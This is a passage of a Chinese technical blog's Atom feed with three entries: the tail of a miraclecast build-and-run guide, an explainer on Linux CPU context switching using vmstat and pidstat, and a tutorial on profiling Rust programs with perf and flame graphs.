&lt;p&gt;==参考====&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;albfan&#x2F;miraclecast&#x2F;wiki&#x2F;Building&quot;&gt;官方文档&lt;&#x2F;a&gt;==&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装依赖，ubuntu18.04的如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install cmake libglib2.0-dev libudev-dev libsystemd-dev libreadline-dev check libtool autoconf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;然后我选择使用cmake进行build&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;mkdir build
cmake -DCMAKE_INSTALL_PREFIX=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F; -S . -B build
cd build &amp;amp;&amp;amp; make -j12 &amp;amp;&amp;amp; make install
# 则根据[issue](https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;albfan&amp;#x2F;miraclecast&amp;#x2F;issues&amp;#x2F;458)，
# 可能需要在源码的`src&amp;#x2F;shared&amp;#x2F;CMakeLists.txt`后面加上一行`target_link_libraries(miracle-shared m)`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;yun-xing&quot;&gt;运行&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;关于sink和peer，作者在这个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;albfan&#x2F;miraclecast&#x2F;issues&#x2F;298&quot;&gt;issue&lt;&#x2F;a&gt;中有解释：
“in miracast protocol your device can act as source (share a video stream (normally from its screen)) or as sink( receives and shows a video streaming). Both are peers for miracast”&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;shutdown wpa_supplicant and NetworkManager&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl stop NetworkManager.service
systemctl stop wpa_supplicant.service
miracle-wifid
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;launch wifi control&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;miracle-wifictl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Enable visibility for other devices&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Locate them using scanning&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;p2p-scan
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>CPU上下文切换</title>
        <published>2024-05-19T00:00:00+00:00</published>
        <updated>2024-05-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/cpu上下文切换/"/>
        <id>https://vercel.juzhong.asia/obsidian/cpu上下文切换/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/cpu上下文切换/">&lt;h1 id=&quot;cpushang-xia-wen-qie-huan&quot;&gt;CPU上下文切换&lt;&#x2F;h1&gt;
&lt;p&gt;我们都知道，Linux 是一个多任务操作系统，它支持远大于 CPU 数量的任务同时运行。当然，这些任务实际上并不是真的在同时运行，而是因为系统在很短的时间内，将 CPU 轮流分配给它们，造成多任务同时运行的错觉。 而在每个任务运行前，CPU 都需要知道任务从哪里加载、又从哪里开始运行，也就是说，需要系统事先帮它设置好 &lt;strong&gt;CPU 寄存器和程序计数器（Program Counter, PC）&lt;&#x2F;strong&gt;  。&lt;&#x2F;p&gt;
&lt;p&gt;CPU 寄存器，是 CPU 内置的容量小、但速度极快的内存。而程序计数器，则是用来存储 CPU 正在执行的指令位置、或者即将执行的下一条指令位置。它们都是 CPU 在运行任何任务前，必须的依赖环境，因此也被叫做 &lt;strong&gt;CPU上下文&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;CPU 上下文切换&lt;&#x2F;strong&gt; ，就是先把前一个任务的 CPU 上下文（也就是 CPU 寄存器和程序计数器）保存起来，然后加载新任务的上下文到这些寄存器和程序计数器，最后再跳转到程序计数器所指的新位置，运行新任务。 而这些保存下来的上下文，会存储在系统内核中，并在任务重新调度执行时再次加载进来。这样就能保证任务原来的状态不受影响，让任务看起来还是连续运行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shen-me-shi-ren-wu-p&quot;&gt;什么是任务&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id2&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;CPU 上下文切换无非就是更新了 CPU 寄存器的值嘛，但这些寄存器，本身就是为了快速运行任务而设计的，为什么会影响系统的 CPU 性能呢？ 在回答这个问题前，先得搞清楚操作系统管理的这些“任务”到底是什么呢？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;进程和线程正是最常见的任务。但是除此之外，硬件通过触发信号，会导致中断处理程序的调用，也是一种常见的任务。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所以，根据任务的不同，CPU上下文切换可分为几种场景：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;进程上下文切换&lt;&#x2F;li&gt;
&lt;li&gt;线程上下文切换&lt;&#x2F;li&gt;
&lt;li&gt;中断上下文切换&lt;&#x2F;li&gt;
&lt;li&gt;系统调用上下文切换&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xi-tong-diao-yong-yin-qi-de-shang-xia-wen-qie-huan-p&quot;&gt;系统调用引起的上下文切换&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id3&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 按照特权等级，把进程的运行空间分为内核空间和用户空间，分别对应着下图中， CPU 特权等级的 Ring 0 和 Ring 3。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;内核空间（Ring 0）具有最高权限，可以直接访问所有资源；&lt;&#x2F;li&gt;
&lt;li&gt;用户空间（Ring 3）只能访问受限资源，不能直接访问内存等硬件设备，必须通过系统调用陷入到内核中，才能访问这些特权资源。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;cpu%E4%B8%8A%E4%B8%8B%E6%96%87%E5%88%87%E6%8D%A2&#x2F;assets&#x2F;cs-20240519161105-4ep5u5a-1979bb.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由 &lt;strong&gt;系统调用&lt;&#x2F;strong&gt; 完成从用户态到内核态的转变。这个过程也会发生CPU上下文切换。&lt;&#x2F;p&gt;
&lt;p&gt;CPU 寄存器里原来用户态的指令位置，需要先保存起来。接着，为了执行内核态代码，CPU 寄存器需要更新为内核态指令的新位置。最后才是跳转到内核态运行内核任务。&lt;&#x2F;p&gt;
&lt;p&gt;而系统调用结束后，CPU 寄存器需要恢复原来保存的用户态，然后再切换到用户空间，继续运行进程。 &lt;strong&gt;所以，一次系统调用的过程，其实是发生了两次 CPU 上下文切换。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;不过，需要注意的是，系统调用过程中，并不会涉及到虚拟内存等进程用户态的资源，也不会切换进程。这跟我们通常所说的进程上下文切换是不一样的（系统调用在同一个进程里运行）。 所以系统调用过程通常称为 &lt;strong&gt;特权模式切换&lt;&#x2F;strong&gt; ，而不是上下文切换。但实际上，系统调用过程中，CPU 的上下文切换还是无法避免的。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jin-cheng-shang-xia-wen-qie-huan-p&quot;&gt;进程上下文切换&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id4&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;首先，进程是由内核来管理和调度的，进程的切换只能发生在内核态。所以，进程的上下文不仅包括了 &lt;strong&gt;虚拟内存、栈、全局变量等用户空间的资源&lt;&#x2F;strong&gt; ，还包括了&lt;strong&gt;内核堆栈、寄存器等内核空间的状态&lt;&#x2F;strong&gt; 。 因此，进程的上下文切换就比系统调用时多了一步：在保存当前进程的内核状态和 CPU 寄存器之前，需要先把该进程的虚拟内存、栈等保存下来；而加载了下一进程的内核态后，还需要刷新进程的虚拟内存和用户栈。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;cpu%E4%B8%8A%E4%B8%8B%E6%96%87%E5%88%87%E6%8D%A2&#x2F;assets&#x2F;cs-20240519161105-4ep5u5a-1979bb.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.tsunanet.net&#x2F;2010&#x2F;11&#x2F;how-long-does-it-take-to-make-context.html&quot;&gt;Tsuna&lt;&#x2F;a&gt; 的测试报告，每次上下文切换都需要几十纳秒到数微妙的 CPU 时间。这个时间还是相当可观的，特别是在进程上下文切换次数较多的情况下，很容易导致 CPU 将大量时间耗费在寄存器、内核栈以及虚拟内存等资源的保存和恢复上，进而大大缩短了真正运行进程的时间。这也是导致平均负载升高的一个重要因素。&lt;&#x2F;p&gt;
&lt;p&gt;进程上下文切换的时机&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;进程所分配的时间片耗尽，就会被系统挂起&lt;&#x2F;li&gt;
&lt;li&gt;进程在系统资源（比如内存）不足时，需等待资源满足才能运行&lt;&#x2F;li&gt;
&lt;li&gt;进程调用如sleep等方法主动挂起&lt;&#x2F;li&gt;
&lt;li&gt;当有优先级更高的进程运行时，为了保证高优先级进程的运行，当前进程会被挂起&lt;&#x2F;li&gt;
&lt;li&gt;发生硬件中断时，CPU 上的进程会被中断挂起，转而执行内核中的中断服务程序。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;xian-cheng-shang-xia-wen-qie-huan-p&quot;&gt;线程上下文切换&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id5&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;线程与进程的一大区别在于， &lt;strong&gt;线程是调度的基本单位，而进程则是资源拥有的基本单位&lt;&#x2F;strong&gt; 。内核的任务调度对象是线程。而进程只是给线程提供了虚拟内存、全局变量等资源。 线程也有自己的私有数据，比如栈和寄存器等，这些在上下文切换时也是需要保存的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;线程上下文切换可以分为两种：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;前后两个线程属于不同进程。此时，因为资源不共享，所以切换过程就跟进程上下文切换是一样。&lt;&#x2F;li&gt;
&lt;li&gt;前后两个线程属于同一个进程。此时，因为虚拟内存是共享的，所以在切换时，虚拟内存这些资源就保持不动，只需要切换线程的私有数据、寄存器等不共享的数据。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;虽然同为上下文切换，但同进程内的线程切换，要比多进程间的切换消耗更少的资源，这也正是多线程代替多进程的一个优势。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhong-duan-shang-xia-wen-qie-huan-p&quot;&gt;中断上下文切换&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id6&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;为了快速响应硬件的事件， &lt;strong&gt;中断处理会打断进程的正常调度和执行&lt;&#x2F;strong&gt; ，转而调用中断处理程序，响应设备事件。而在打断其他进程时，就需要将进程当前的状态保存下来，这样在中断结束后，进程仍然可以从原来的状态恢复运行。（关于CPU中断可参考CPU中断 ）&lt;&#x2F;p&gt;
&lt;p&gt;跟进程上下文不同，中断上下文切换并不涉及到进程的用户态。所以，即便中断过程打断了一个正处在用户态的进程，也不需要保存和恢复这个进程的虚拟内存、全局变量等用户态资源。中断上下文，其实只包括内核态中断服务程序执行所必需的状态，包括 CPU 寄存器、内核堆栈、硬件中断参数等。&lt;&#x2F;p&gt;
&lt;p&gt;对同一个 CPU 来说， &lt;strong&gt;中断处理比进程拥有更高的优先级&lt;&#x2F;strong&gt; ，所以中断上下文切换并不会与进程上下文切换同时发生。同样道理，由于中断会打断正常进程的调度和执行，所以大部分中断处理程序都短小精悍，以便尽可能快的执行结束。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiao-jie-p&quot;&gt;小结&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id7&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;CPU 上下文切换，是保证 Linux 系统正常工作的核心功能之一，一般情况下不需要我们特别关注。 但过多的上下文切换，会把 CPU 时间消耗在寄存器、内核栈以及虚拟内存等数据的保存和恢复上，从而缩短进程真正运行的时间，导致系统的整体性能大幅下降。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ru-he-cha-kan-xi-tong-cpushang-xia-wen-qie-huan-qing-kuang-p&quot;&gt;如何查看系统CPU上下文切换情况&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Permalink to this headline&quot; href=&quot;https:&#x2F;&#x2F;yang-docs.readthedocs.io&#x2F;en&#x2F;latest&#x2F;linux&#x2F;contextswitch.html#id8&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;vmstat 是一个常用的系统性能分析工具，主要用来分析系统的内存使用情况，也常用来分析 CPU 上下文切换和中断的次数。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ vmstat 5
procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----
r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st
0  0      0 147112 237020 3158320    0    0     2    13    0    0  3  2 95  0  0
0  0      0 146908 237020 3158364    0    0     0    39 6688 15604  2  1 96  0  0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;vmstat 只给出了系统总体的上下文切换情况，要想查看每个进程的详细情况，需要使用 pidstat，给它加上 -w 选项，你就可以查看每个进程上下文切换的情况了。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ pidstat -w 5
Linux 4.4.0-33.bm.1-amd64 (n8-124-028)         11&amp;#x2F;29&amp;#x2F;2018         _x86_64_        (4 CPU)

09:08:53 AM   UID       PID   cswch&amp;#x2F;s nvcswch&amp;#x2F;s  Command
09:08:58 AM     0         1      0.20      0.00  systemd
09:08:58 AM     0         3      1.00      0.00  ksoftirqd&amp;#x2F;0
09:08:58 AM     0         7     77.25      0.00  rcu_sched
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个结果中有两列内容是我们的重点关注对象。一个是  cswch  ，表示每秒自愿上下文切换（voluntary context switches）的次数，另一个则是  nvcswch  ，表示每秒非自愿上下文切换（non voluntary context switches）的次数。这两种上下文切换往往代表不同的性能问题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;自愿上下文切换和非资源上下文切换&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;自愿上下文切换，是指进程无法获取所需资源，导致的上下文切换。比如说， I&#x2F;O、内存等系统资源不足时，就会发生自愿上下文切换。&lt;&#x2F;li&gt;
&lt;li&gt;非自愿上下文切换，则是指进程由于时间片已到等原因，被系统强制调度，进而发生的上下文切换。比如说，大量进程都在争抢 CPU 时，就容易发生非自愿上下文切换。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一般而言&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;自愿上下文切换变多了，说明进程都在等待资源，有可能发生了 I&#x2F;O 等其他问题；&lt;&#x2F;li&gt;
&lt;li&gt;非自愿上下文切换变多了，说明进程都在被强制调度，也就是都在争抢 CPU，说明 CPU 的确成了瓶颈；&lt;&#x2F;li&gt;
&lt;li&gt;中断次数变多了，说明 CPU 被中断处理程序占用，还需要通过查看 &#x2F;proc&#x2F;interrupts 文件来分析具体的中断类型。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DatenLord｜Rust程序性能分析</title>
        <published>2024-05-18T00:00:00+00:00</published>
        <updated>2024-05-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/datenlord-rust程序性能分析/"/>
        <id>https://vercel.juzhong.asia/obsidian/datenlord-rust程序性能分析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/datenlord-rust程序性能分析/">&lt;h1 id=&quot;datenlord-rustcheng-xu-xing-neng-fen-xi&quot;&gt;DatenLord｜Rust程序性能分析&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;jian-jie&quot;&gt;简介&lt;&#x2F;h2&gt;
&lt;p&gt;程序的性能分析是一个很广很深的话题，有各种各样的工具来对不同的指标进行测试分析。本文主要介绍如何用&lt;code&gt;profiling&lt;&#x2F;code&gt;工具对&lt;code&gt;Rust&lt;&#x2F;code&gt;程序进行&lt;code&gt;On-CPU&lt;&#x2F;code&gt;和&lt;code&gt;Off-CPU&lt;&#x2F;code&gt;的性能分析，以及如何绘制火焰图对结果测试进行可视化处理。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;on-cpuxing-neng-fen-xi&quot;&gt;On-CPU性能分析&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;On-CPU&lt;&#x2F;code&gt;的性能分析为了找出占用CPU时间多的任务或者函数，进而找出程序的性能瓶颈。这里主要介绍perf工具，&lt;code&gt;perf&lt;&#x2F;code&gt;是&lt;code&gt;Linux&lt;&#x2F;code&gt;提供的命令，也叫&lt;code&gt;perf_events&lt;&#x2F;code&gt;，它属于&lt;code&gt;Linux kernel&lt;&#x2F;code&gt;，在&lt;code&gt;tools&#x2F;perf&lt;&#x2F;code&gt;目录下。&lt;code&gt;perf&lt;&#x2F;code&gt;提供了强大的功能包括监测CPU performance counters, tracepoints, kprobes和 uprobes等。这里我们使用&lt;code&gt;perf&lt;&#x2F;code&gt;的CPU profiling功能。由于&lt;code&gt;perf&lt;&#x2F;code&gt;会拿到系统的信息，所以运行需要root权限。&lt;code&gt;perf&lt;&#x2F;code&gt;做&lt;code&gt;On-CPU&lt;&#x2F;code&gt;性能分析的原理是以一个指定的频率对CPU进行采样，进而拿到正在CPU上运行的指令乃至整个函数调用栈的快照，最后对采样的数据分析，比如说在100次采样中有20次在运行A指令或者A函数，那么&lt;code&gt;perf&lt;&#x2F;code&gt;就会认为A函数的CPU使用率为20%。&lt;&#x2F;p&gt;
&lt;p&gt;下面我们使用一个简单的程序来展示如何用&lt;code&gt;perf&lt;&#x2F;code&gt;来进行&lt;code&gt;On-CPU&lt;&#x2F;code&gt;的性能分析，需要使用debug编译，程序如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fn test2() {
    for _ in 0..200000 {
        ()
    }
}
fn test1() {
    for _ in 0..100000 {
        ()
    }
    test2();
}
fn main() {
    for _ in 0..10 {
        test1();
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们在&lt;code&gt;test1()&lt;&#x2F;code&gt;函数和&lt;code&gt;test2()&lt;&#x2F;code&gt;函数中分别加入了一个段循环来消耗&lt;code&gt;CPU&lt;&#x2F;code&gt;资源，在&lt;code&gt;test2()&lt;&#x2F;code&gt;中我们循环了200000次是在&lt;code&gt;test1()&lt;&#x2F;code&gt;中的两倍。我们使用如下&lt;code&gt;perf&lt;&#x2F;code&gt;命令来做&lt;code&gt;CPU profiling&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo perf record --call-graph=dwarf .&amp;#x2F;target&amp;#x2F;debug&amp;#x2F;mytest
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;采样的数据默认会存到&lt;code&gt;perf.data&lt;&#x2F;code&gt;文件中。参数&lt;code&gt;--call-graph&lt;&#x2F;code&gt;的目的是开启函数调用栈的记录，这样在&lt;code&gt;profiling&lt;&#x2F;code&gt;的结果中可以打印出完整的函数调用栈。目前&lt;code&gt;perf&lt;&#x2F;code&gt;支持&lt;code&gt;fp(frame pointer)&lt;&#x2F;code&gt;, &lt;code&gt;dwarf(DWARF&#x27;s CFI - Call Frame Information)&lt;&#x2F;code&gt;和&lt;code&gt;lbr(Hardware Last Branch Record facility)&lt;&#x2F;code&gt;三种方式来获取函数调用栈。稍后我们会简单介绍&lt;code&gt;fp&lt;&#x2F;code&gt;和&lt;code&gt;dwarf&lt;&#x2F;code&gt;的原理。由于&lt;code&gt;Rust&lt;&#x2F;code&gt;编译器默认生成了&lt;code&gt;dwarf&lt;&#x2F;code&gt;格式的调试信息，我们可以直接使用&lt;code&gt;--call-graph=dwarf&lt;&#x2F;code&gt;。我们可以使用如下命令来读取&lt;code&gt;profiling&lt;&#x2F;code&gt;的结果：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo perf report --stdio
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个命令会默认读取&lt;code&gt;perf.data&lt;&#x2F;code&gt;中的数据并格式化输出。命令的输出如下，因为输出很长，部分无关信息被省略掉，&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# Children      Self  Command  Shared Object      Symbol
# ........  ........  .......  .................  .........................................................................................................
#
    77.57%     0.00%  mytest   mytest             [.] _start
            |
            ---_start
               __libc_start_main
               main
               ......
               mytest::main
               mytest::test1
               |
               |--52.20%--mytest::test2
               |          |
               |           --46.83%--core::iter::range::&amp;lt;impl core::iter::traits::iterator::Iterator for core::ops::range::Range&amp;lt;A&amp;gt;&amp;gt;::next
               |                     |......
               |
                --23.87%--core::iter::range::&amp;lt;impl core::iter::traits::iterator::Iterator for core::ops::range::Range&amp;lt;A&amp;gt;&amp;gt;::next
                          |......
               |......
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从输出可以看出整个测试程序占用了77.57%的CPU资源，在&lt;code&gt;mytest::test1&lt;&#x2F;code&gt;函数中有23.87%的时间在做&lt;code&gt;for&lt;&#x2F;code&gt;循环，有52.20%的时间被调用的&lt;code&gt;mytest::test2&lt;&#x2F;code&gt;函数占用，然后在&lt;code&gt;mytest::test2&lt;&#x2F;code&gt;函数中，有45.32%时间在做for循环，剩下的时间是一些其他的开销。&lt;code&gt;profiling&lt;&#x2F;code&gt;的结果基本体现了我们测试程序&lt;code&gt;CPU&lt;&#x2F;code&gt;占用率的实际情况。我们在&lt;code&gt;mytest::test2&lt;&#x2F;code&gt;函数中&lt;code&gt;for&lt;&#x2F;code&gt;循环次数是&lt;code&gt;mytest::test1&lt;&#x2F;code&gt;函数中两倍，相应的我们也看到了在&lt;code&gt;CPU&lt;&#x2F;code&gt;占用率上也几乎是两倍的关系。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huo-yan-tu&quot;&gt;&lt;strong&gt;火焰图&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;火焰图是对&lt;code&gt;profiling&lt;&#x2F;code&gt;进行可视化处理的一种方式，从而更直观地展示程序&lt;code&gt;CPU&lt;&#x2F;code&gt;的使用情况，通过如下命令可以生成火焰图&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;brendangregg&amp;#x2F;FlameGraph
$ cd FlameGraph
$ sudo perf record --call-graph=dwarf mytest
$ sudo perf script | .&amp;#x2F;stackcollapse-perf.pl &amp;gt; out.perf-folded
$ .&amp;#x2F;flamegraph.pl out.perf-folded &amp;gt; perf.svg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以使用Chrome浏览器打开&lt;code&gt;perf.svg&lt;&#x2F;code&gt;，生成的火焰图如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-profiling&#x2F;perf-flame-graph.webp&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;火焰图的纵轴代表了函数调用栈，横轴代表了占用&lt;code&gt;CPU&lt;&#x2F;code&gt;资源的比例，跨度越大代表占用的&lt;code&gt;CPU&lt;&#x2F;code&gt;资源越多，从火焰图中我们可以更直观的看到程序中&lt;code&gt;CPU&lt;&#x2F;code&gt;资源的占用情况以及函数的调用关系。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Frame Pointer 和 DWARF&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;前文有提到&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;和&lt;code&gt;DWARF&lt;&#x2F;code&gt;两种方式拿到函数的调用栈，这里做一个简单的介绍。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;是基于标记栈基址&lt;code&gt;EBP&lt;&#x2F;code&gt;的方式来获取函数调用栈的信息，通过&lt;code&gt;EBP&lt;&#x2F;code&gt;我们就可以拿到函数栈帧的信息，包括局部变量地址，函数参数的地址等。在做&lt;code&gt;CPU profiling&lt;&#x2F;code&gt;的过程中，&lt;code&gt;fp&lt;&#x2F;code&gt;帮助函数调用栈的展开，具体原理是编译器会在每个函数入口加入如下的指令以记录调用函数的&lt;code&gt;EBP&lt;&#x2F;code&gt;的值&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;push ebp
mov ebp, esp
sub esp, N
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;并在函数结尾的时候加入如下指令以恢复调用函数的&lt;code&gt;EBP&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;mov esp, ebp
pop ebp
ret
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过这种方式整个函数调用栈像一个被&lt;code&gt;EBP&lt;&#x2F;code&gt;串起来的链表，如下图所示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;rust-profiling&#x2F;frame-pointer-call-stack.webp&quot; alt=&quot;图片&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这样调试程序就可以拿到完整的调用栈信息，进而进行调用栈展开。&lt;&#x2F;p&gt;
&lt;p&gt;因为&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;的保存和恢复需要引入额外的指令从而带来性能开销，所以&lt;code&gt;Rust&lt;&#x2F;code&gt;编译器，&lt;code&gt;gcc&lt;&#x2F;code&gt;编译器默认都是不会加入&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;的信息，需要通过编译选项来开启。&lt;code&gt;Rust&lt;&#x2F;code&gt;编译器加入&lt;code&gt;Frame Pointer&lt;&#x2F;code&gt;的选项如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ RUSTFLAGS=&amp;quot;-C force-frame-pointers=yes&amp;quot; cargo build
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
